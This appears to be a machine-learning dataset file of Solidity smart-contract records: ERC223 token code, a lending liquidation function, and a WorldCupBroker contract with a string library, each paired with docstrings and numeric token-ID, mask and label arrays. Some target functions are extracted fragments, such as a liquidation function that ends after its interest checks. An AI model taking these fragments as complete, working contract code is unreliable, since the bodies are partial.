Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: contracts/ERC223Token.sol /*! ERC223 token implementation */ contract ERC223Token is StandardToken, Claimable { using SafeMath for uint256; bool public erc223Activated; /*! Whitelisting addresses of smart contracts which have */ mapping (address => bool) public whiteListContracts; /*! Per user: whitelisting addresses of smart contracts which have */ mapping (address => mapping (address => bool) ) public userWhiteListContracts; function setERC223Activated(bool _activate) public onlyOwner { erc223Activated = _activate; } function setWhiteListContract(address _addr, bool f) public onlyOwner { whiteListContracts[_addr] = f; } function setUserWhiteListContract(address _addr, bool f) public { userWhiteListContracts[msg.sender][_addr] = f; } function checkAndInvokeReceiver(address _to, uint256 _value, bytes _data) internal { uint codeLength; assembly { // Retrieve the size of the code codeLength := extcodesize(_to) } if (codeLength>0) { ERC223Receiver receiver = ERC223Receiver(_to); receiver.tokenFallback(msg.sender, _value, _data); } } function transfer(address _to, uint256 _value) public returns (bool) { bool ok = super.transfer(_to, _value); if (erc223Activated && whiteListContracts[_to] ==false && userWhiteListContracts[msg.sender][_to] ==false) { bytes memory empty; checkAndInvokeReceiver(_to, _value, empty); } return ok; } function transfer(address _to, uint256 _value, bytes _data) public returns (bool) { bool ok = super.transfer(_to, _value); if (erc223Activated && whiteListContracts[_to] ==false && userWhiteListContracts[msg.sender][_to] ==false) { checkAndInvokeReceiver(_to, _value, _data); } return ok; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { bool ok = super.transferFrom(_from, _to, _value); if (erc223Activated && whiteListContracts[_to] ==false && userWhiteListContracts[_from][_to] ==false && userWhiteListContracts[msg.sender][_to] ==false) { bytes memory empty; checkAndInvokeReceiver(_to, _value, empty); } return ok; } function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) { bool ok = super.transferFrom(_from, _to, _value); if (erc223Activated && whiteListContracts[_to] ==false && userWhiteListContracts[_from][_to] ==false && userWhiteListContracts[msg.sender][_to] ==false) { checkAndInvokeReceiver(_to, _value, _data); } return ok; } } // File: contracts/BurnableToken.sol /*! Functionality to keep burn for owner. Copy from Burnable token but only for owner */ contract BurnableToken is ERC223Token { using SafeMath for uint256; /*! Copy from Burnable token but only for owner */ event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burnTokenBurn(uint256 _value) public onlyOwner { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); } } // File: contracts/HoldersToken.sol /*! Functionality to keep up-to-dated list of all holders. */ contract HoldersToken is BurnableToken { using SafeMath for uint256; /*! Keep the list of addresses of holders up-to-dated other contracts can communicate with or to do operations with all holders of tokens */ mapping (address => bool) public isHolder; address [] public holders; function addHolder(address _addr) internal returns (bool) { if (isHolder[_addr] != true) { holders[holders.length++] = _addr; isHolder[_addr] = true; return true; } return false; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(this)); // Prevent transfer to contract itself bool ok = super.transfer(_to, _value); addHolder(_to); return ok; } function transfer(address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); // Prevent transfer to contract itself bool ok = super.transfer(_to, _value, _data); addHolder(_to); return ok; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(this)); // Prevent transfer to contract itself bool ok = super.transferFrom(_from, _to, _value); addHolder(_to); return ok; } function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); // Prevent transfer to contract itself bool ok = super.transferFrom(_from, _to, _value, _data); addHolder(_to); return ok; } } // File: contracts/MigrationAgent.sol /*! Definition of destination interface for contract that can be used for migration */ contract MigrationAgent { function migrateFrom(address from, uint256 value) public returns (bool); } // File: contracts/MigratoryToken.sol /*! Functionality to support migrations to new upgraded contract for tokens. Only has effect if migrations are enabled and address of new contract is known. */ contract MigratoryToken is HoldersToken { using SafeMath for uint256; //! Address of new contract for possible upgrades address public migrationAgent; //! Counter to iterate (by portions) through all addresses for migration uint256 public migrationCountComplete; /*! Setup the address for new contract (to migrate coins to) Can be called only by owner (onlyOwner) */ function setMigrationAgent(address agent) public onlyOwner { migrationAgent = agent; } /*! Migrate tokens to the new token contract The method can be only called when migration agent is set. Can be called by user(holder) that would like to transfer coins to new contract immediately. */ function migrate() public returns (bool) { require(migrationAgent != 0x0); uint256 value = balances[msg.sender]; balances[msg.sender] = balances[msg.sender].sub(value); totalSupply_ = totalSupply_.sub(value); MigrationAgent(migrationAgent).migrateFrom(msg.sender, value); // Notify anyone listening that this migration took place Migrate(msg.sender, value); return true; } /*! Migrate holders of tokens to the new contract The method can be only called when migration agent is set. Can be called only by owner (onlyOwner) */ function migrateHolders(uint256 count) public onlyOwner returns (bool) { require(count > 0); require(migrationAgent != 0x0); // Calculate bounds for processing count = migrationCountComplete.add(count); if (count > holders.length) { count = holders.length; } // Process migration for (uint256 i = migrationCountComplete; i < count; i++) { address holder = holders[i]; uint value = balances[holder]; balances[holder] = balances[holder].sub(value); totalSupply_ = totalSupply_.sub(value); MigrationAgent(migrationAgent).migrateFrom(holder, value); // Notify anyone listening that this migration took place Migrate(holder, value); } migrationCountComplete = count; return true; } event Migrate(address indexed owner, uint256 value); } contract ERC223Advanced is MigratoryToken { using SafeMath for uint256; //! Token name set by constructor string public name; //! Token symbol set by constructor string public symbol; //! Token decimals, 18 uint8 public decimals; /*! Contructor */ constructor(string _name, string _symbol) public { name = _name; symbol = _symbol; decimals = 18; totalSupply_ = 100000000000000000000; balances[owner] = totalSupply_; holders[holders.length++] = owner; isHolder[owner] = true; } //! Address of migration gate to do transferMulti on migration address public migrationGate; /*! Setup the address for new contract (to migrate coins to) Can be called only by owner (onlyOwner) */ function setMigrationGate(address _addr) public onlyOwner { migrationGate = _addr; } /*! Throws if called by any account other than the migrationGate. */ modifier onlyMigrationGate() { require(msg.sender == migrationGate); _; } /*! Transfer tokens to multipe destination addresses Returns list with appropriate (by index) successful statuses. (string with 0 or 1 chars) */ function transferMulti(address [] _tos, uint256 [] _values) public onlyMigrationGate returns (string) { require(_tos.length == _values.length); bytes memory return_values = new bytes(_tos.length); for (uint256 i = 0; i < _tos.length; i++) { address _to = _tos[i]; uint256 _value = _values[i]; return_values[i] = byte(48); //'0' if (_to != address(0) && _value <= balances[msg.sender]) { bool ok = transfer(_to, _value); if (ok) { return_values[i] = byte(49); //'1' } } } return string(return_values); } /*! Do not accept incoming ether */ function() public payable { revert(); } }
! Whitelisting addresses of smart contracts which have/! Per user: whitelisting addresses of smart contracts which have/
function setERC223Activated(bool _activate) public onlyOwner { erc223Activated = _activate; }
925,850
[ 1, 5, 202, 18927, 310, 6138, 434, 13706, 20092, 1492, 1240, 19, 5, 202, 2173, 729, 30, 10734, 310, 6138, 434, 13706, 20092, 1492, 1240, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 444, 654, 39, 3787, 23, 28724, 12, 6430, 389, 10014, 13, 1071, 1338, 5541, 288, 203, 202, 202, 12610, 3787, 23, 28724, 273, 389, 10014, 31, 203, 202, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xd6Ad22E4Ad7215A2c2C4c3D3178f951E4c4f2671/sources/SLErc20Delegate.sol
* @notice The sender liquidates the borrowers collateral. The collateral seized is transferred to the liquidator. @param borrower The borrower of this slToken to be liquidated @param slTokenCollateral The market in which to seize collateral from the borrower @param repayAmount The amount of the underlying borrowed asset to repay @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount./ accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed
function liquidateBorrowInternal(address borrower, uint repayAmount, SLTokenInterface slTokenCollateral) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED), 0); } error = slTokenCollateral.accrueInterest(); if (error != uint(Error.NO_ERROR)) { return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED), 0); } }
2,649,122
[ 1, 1986, 5793, 4501, 26595, 815, 326, 29759, 414, 4508, 2045, 287, 18, 225, 1021, 4508, 2045, 287, 695, 1235, 353, 906, 4193, 358, 326, 4501, 26595, 639, 18, 225, 29759, 264, 1021, 29759, 264, 434, 333, 2020, 1345, 358, 506, 4501, 26595, 690, 225, 2020, 1345, 13535, 2045, 287, 1021, 13667, 316, 1492, 358, 695, 554, 4508, 2045, 287, 628, 326, 29759, 264, 225, 2071, 528, 6275, 1021, 3844, 434, 326, 6808, 29759, 329, 3310, 358, 2071, 528, 327, 261, 11890, 16, 2254, 13, 1922, 555, 981, 261, 20, 33, 4768, 16, 3541, 279, 5166, 16, 2621, 1068, 13289, 18, 18281, 3631, 471, 326, 3214, 2071, 2955, 3844, 18, 19, 4078, 86, 344, 29281, 24169, 5963, 603, 1334, 16, 1496, 732, 4859, 2545, 358, 613, 326, 5410, 716, 392, 18121, 4501, 26595, 367, 2535, 4078, 86, 344, 29281, 24169, 5963, 603, 1334, 16, 1496, 732, 4859, 2545, 358, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 4501, 26595, 340, 38, 15318, 3061, 12, 2867, 29759, 264, 16, 2254, 2071, 528, 6275, 16, 348, 48, 1345, 1358, 2020, 1345, 13535, 2045, 287, 13, 2713, 1661, 426, 8230, 970, 1135, 261, 11890, 16, 2254, 13, 288, 203, 3639, 2254, 555, 273, 4078, 86, 344, 29281, 5621, 203, 3639, 309, 261, 1636, 480, 2254, 12, 668, 18, 3417, 67, 3589, 3719, 288, 203, 5411, 327, 261, 6870, 12, 668, 12, 1636, 3631, 13436, 966, 18, 2053, 53, 3060, 1777, 67, 2226, 5093, 1821, 67, 38, 916, 11226, 67, 9125, 11027, 67, 11965, 3631, 374, 1769, 203, 3639, 289, 203, 203, 3639, 555, 273, 2020, 1345, 13535, 2045, 287, 18, 8981, 86, 344, 29281, 5621, 203, 3639, 309, 261, 1636, 480, 2254, 12, 668, 18, 3417, 67, 3589, 3719, 288, 203, 5411, 327, 261, 6870, 12, 668, 12, 1636, 3631, 13436, 966, 18, 2053, 53, 3060, 1777, 67, 2226, 5093, 1821, 67, 4935, 12190, 654, 1013, 67, 9125, 11027, 67, 11965, 3631, 374, 1769, 203, 3639, 289, 203, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0xdac4f0d74592012eb4baeb608b1992ffe5cc537a //Contract name: WorldCupBroker //Balance: 1.88335987807420416 Ether //Verification Date: 6/9/2018 //Transacion Count: 33 // CODE STARTS HERE pragma solidity ^0.4.18; // File: contracts/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: contracts/strings.sol /* * @title String & slice utility library for Solidity contracts. * @author Nick Johnson <[email protected]> * * @dev Functionality in this library is largely implemented using an * abstraction called a 'slice'. A slice represents a part of a string - * anything from the entire string to a single character, or even no * characters at all (a 0-length slice). Since a slice only has to specify * an offset and a length, copying and manipulating slices is a lot less * expensive than copying and manipulating the strings they reference. * * To further reduce gas costs, most functions on slice that need to return * a slice modify the original one instead of allocating a new one; for * instance, `s.split(".")` will return the text up to the first '.', * modifying s to only contain the remainder of the string after the '.'. * In situations where you do not want to modify the original slice, you * can make a copy first with `.copy()`, for example: * `s.copy().split(".")`. Try and avoid using this idiom in loops; since * Solidity has no memory management, it will result in allocating many * short-lived slices that are later discarded. * * Functions that return two slices come in two versions: a non-allocating * version that takes the second slice as an argument, modifying it in * place, and an allocating version that allocates and returns the second * slice; see `nextRune` for example. * * Functions that have to copy string data will return strings rather than * slices; these can be cast back to slices for further processing if * required. * * For convenience, some functions are provided with non-modifying * variants that create a new slice and return both; for instance, * `s.splitNew('.')` leaves s unmodified, and returns two values * corresponding to the left and right parts of the string. */ pragma solidity ^0.4.14; library strings { struct slice { uint _len; uint _ptr; } function memcpy(uint dest, uint src, uint len) private pure { // Copy word-length chunks while possible for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /* * @dev Returns a slice containing the entire string. * @param self The string to make a slice from. * @return A newly allocated slice containing the entire string. */ function toSlice(string self) internal pure returns (slice) { uint ptr; assembly { ptr := add(self, 0x20) } return slice(bytes(self).length, ptr); } /* * @dev Returns the length of a null-terminated bytes32 string. * @param self The value to find the length of. * @return The length of the string, from 0 to 32. */ function len(bytes32 self) internal pure returns (uint) { uint ret; if (self == 0) return 0; if (self & 0xffffffffffffffffffffffffffffffff == 0) { ret += 16; self = bytes32(uint(self) / 0x100000000000000000000000000000000); } if (self & 0xffffffffffffffff == 0) { ret += 8; self = bytes32(uint(self) / 0x10000000000000000); } if (self & 0xffffffff == 0) { ret += 4; self = bytes32(uint(self) / 0x100000000); } if (self & 0xffff == 0) { ret += 2; self = bytes32(uint(self) / 0x10000); } if (self & 0xff == 0) { ret += 1; } return 32 - ret; } /* * @dev Returns a slice containing the entire bytes32, interpreted as a * null-terminated utf-8 string. * @param self The bytes32 value to convert to a slice. * @return A new slice containing the value of the input argument up to the * first null. */ function toSliceB32(bytes32 self) internal pure returns (slice ret) { // Allocate space for `self` in memory, copy it there, and point ret at it assembly { let ptr := mload(0x40) mstore(0x40, add(ptr, 0x20)) mstore(ptr, self) mstore(add(ret, 0x20), ptr) } ret._len = len(self); } /* * @dev Returns a new slice containing the same data as the current slice. * @param self The slice to copy. * @return A new slice containing the same data as `self`. */ function copy(slice self) internal pure returns (slice) { return slice(self._len, self._ptr); } /* * @dev Copies a slice to a new string. * @param self The slice to copy. * @return A newly allocated string containing the slice's text. */ function toString(slice self) internal pure returns (string) { string memory ret = new string(self._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); return ret; } /* * @dev Returns the length in runes of the slice. Note that this operation * takes time proportional to the length of the slice; avoid using it * in loops, and call `slice.empty()` if you only need to know whether * the slice is empty or not. * @param self The slice to operate on. * @return The length of the slice in runes. */ function len(slice self) internal pure returns (uint l) { // Starting at ptr-31 means the LSB will be the byte we care about uint ptr = self._ptr - 31; uint end = ptr + self._len; for (l = 0; ptr < end; l++) { uint8 b; assembly { b := and(mload(ptr), 0xFF) } if (b < 0x80) { ptr += 1; } else if(b < 0xE0) { ptr += 2; } else if(b < 0xF0) { ptr += 3; } else if(b < 0xF8) { ptr += 4; } else if(b < 0xFC) { ptr += 5; } else { ptr += 6; } } } /* * @dev Returns true if the slice is empty (has a length of 0). * @param self The slice to operate on. * @return True if the slice is empty, False otherwise. */ function empty(slice self) internal pure returns (bool) { return self._len == 0; } /* * @dev Returns a positive number if `other` comes lexicographically after * `self`, a negative number if it comes before, or zero if the * contents of the two slices are equal. Comparison is done per-rune, * on unicode codepoints. * @param self The first slice to compare. * @param other The second slice to compare. * @return The result of the comparison. */ function compare(slice self, slice other) internal pure returns (int) { uint shortest = self._len; if (other._len < self._len) shortest = other._len; uint selfptr = self._ptr; uint otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { uint a; uint b; assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant bytes and check again uint256 mask = uint256(-1); // 0xffff... if(shortest < 32) { mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); } uint256 diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); } /* * @dev Returns true if the two slices contain the same text. * @param self The first slice to compare. * @param self The second slice to compare. * @return True if the slices are equal, false otherwise. */ function equals(slice self, slice other) internal pure returns (bool) { return compare(self, other) == 0; } /* * @dev Extracts the first rune in the slice into `rune`, advancing the * slice to point to the next rune and returning `self`. * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return `rune`. */ function nextRune(slice self, slice rune) internal pure returns (slice) { rune._ptr = self._ptr; if (self._len == 0) { rune._len = 0; return rune; } uint l; uint b; // Load the first byte of the rune into the LSBs of b assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } if (b < 0x80) { l = 1; } else if(b < 0xE0) { l = 2; } else if(b < 0xF0) { l = 3; } else { l = 4; } // Check for truncated codepoints if (l > self._len) { rune._len = self._len; self._ptr += self._len; self._len = 0; return rune; } self._ptr += l; self._len -= l; rune._len = l; return rune; } /* * @dev Returns the first rune in the slice, advancing the slice to point * to the next rune. * @param self The slice to operate on. * @return A slice containing only the first rune from `self`. */ function nextRune(slice self) internal pure returns (slice ret) { nextRune(self, ret); } /* * @dev Returns the number of the first codepoint in the slice. * @param self The slice to operate on. * @return The number of the first codepoint in the slice. */ function ord(slice self) internal pure returns (uint ret) { if (self._len == 0) { return 0; } uint word; uint length; uint divisor = 2 ** 248; // Load the rune into the MSBs of b assembly { word:= mload(mload(add(self, 32))) } uint b = word / divisor; if (b < 0x80) { ret = b; length = 1; } else if(b < 0xE0) { ret = b & 0x1F; length = 2; } else if(b < 0xF0) { ret = b & 0x0F; length = 3; } else { ret = b & 0x07; length = 4; } // Check for truncated codepoints if (length > self._len) { return 0; } for (uint i = 1; i < length; i++) { divisor = divisor / 256; b = (word / divisor) & 0xFF; if (b & 0xC0 != 0x80) { // Invalid UTF-8 sequence return 0; } ret = (ret * 64) | (b & 0x3F); } return ret; } /* * @dev Returns the keccak-256 hash of the slice. * @param self The slice to hash. * @return The hash of the slice. */ function keccak(slice self) internal pure returns (bytes32 ret) { assembly { ret := keccak256(mload(add(self, 32)), mload(self)) } } /* * @dev Returns true if `self` starts with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function startsWith(slice self, slice needle) internal pure returns (bool) { if (self._len < needle._len) { return false; } if (self._ptr == needle._ptr) { return true; } bool equal; assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } return equal; } /* * @dev If `self` starts with `needle`, `needle` is removed from the * beginning of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function beyond(slice self, slice needle) internal pure returns (slice) { if (self._len < needle._len) { return self; } bool equal = true; if (self._ptr != needle._ptr) { assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, length), sha3(needleptr, length)) } } if (equal) { self._len -= needle._len; self._ptr += needle._len; } return self; } /* * @dev Returns true if the slice ends with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function endsWith(slice self, slice needle) internal pure returns (bool) { if (self._len < needle._len) { return false; } uint selfptr = self._ptr + self._len - needle._len; if (selfptr == needle._ptr) { return true; } bool equal; assembly { let length := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } return equal; } /* * @dev If `self` ends with `needle`, `needle` is removed from the * end of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function until(slice self, slice needle) internal pure returns (slice) { if (self._len < needle._len) { return self; } uint selfptr = self._ptr + self._len - needle._len; bool equal = true; if (selfptr != needle._ptr) { assembly { let length := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } } if (equal) { self._len -= needle._len; } return self; } event log_bytemask(bytes32 mask); // Returns the memory address of the first byte of the first occurrence of // `needle` in `self`, or the first byte after `self` if not found. function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { uint ptr = selfptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly { needledata := and(mload(needleptr), mask) } uint end = selfptr + selflen - needlelen; bytes32 ptrdata; assembly { ptrdata := and(mload(ptr), mask) } while (ptrdata != needledata) { if (ptr >= end) return selfptr + selflen; ptr++; assembly { ptrdata := and(mload(ptr), mask) } } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := sha3(needleptr, needlelen) } for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := sha3(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } // Returns the memory address of the first byte after the last occurrence of // `needle` in `self`, or the address of `self` if not found. function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) { uint ptr; if (needlelen <= selflen) { if (needlelen <= 32) { bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1)); bytes32 needledata; assembly { needledata := and(mload(needleptr), mask) } ptr = selfptr + selflen - needlelen; bytes32 ptrdata; assembly { ptrdata := and(mload(ptr), mask) } while (ptrdata != needledata) { if (ptr <= selfptr) return selfptr; ptr--; assembly { ptrdata := and(mload(ptr), mask) } } return ptr + needlelen; } else { // For long needles, use hashing bytes32 hash; assembly { hash := sha3(needleptr, needlelen) } ptr = selfptr + (selflen - needlelen); while (ptr >= selfptr) { bytes32 testHash; assembly { testHash := sha3(ptr, needlelen) } if (hash == testHash) return ptr + needlelen; ptr -= 1; } } } return selfptr; } /* * @dev Modifies `self` to contain everything from the first occurrence of * `needle` to the end of the slice. `self` is set to the empty slice * if `needle` is not found. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function find(slice self, slice needle) internal pure returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); self._len -= ptr - self._ptr; self._ptr = ptr; return self; } /* * @dev Modifies `self` to contain the part of the string from the start of * `self` to the end of the first occurrence of `needle`. If `needle` * is not found, `self` is set to the empty slice. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function rfind(slice self, slice needle) internal pure returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); self._len = ptr - self._ptr; return self; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and `token` to everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function split(slice self, slice needle, slice token) internal pure returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = self._ptr; token._len = ptr - self._ptr; if (ptr == self._ptr + self._len) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; self._ptr = ptr + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and returning everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` up to the first occurrence of `delim`. */ function split(slice self, slice needle) internal pure returns (slice token) { split(self, needle, token); } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and `token` to everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function rsplit(slice self, slice needle, slice token) internal pure returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = ptr; token._len = self._len - (ptr - self._ptr); if (ptr == self._ptr) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and returning everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` after the last occurrence of `delim`. */ function rsplit(slice self, slice needle) internal pure returns (slice token) { rsplit(self, needle, token); } /* * @dev Counts the number of nonoverlapping occurrences of `needle` in `self`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return The number of occurrences of `needle` found in `self`. */ function count(slice self, slice needle) internal pure returns (uint cnt) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len; while (ptr <= self._ptr + self._len) { cnt++; ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len; } } /* * @dev Returns True if `self` contains `needle`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return True if `needle` is found in `self`, false 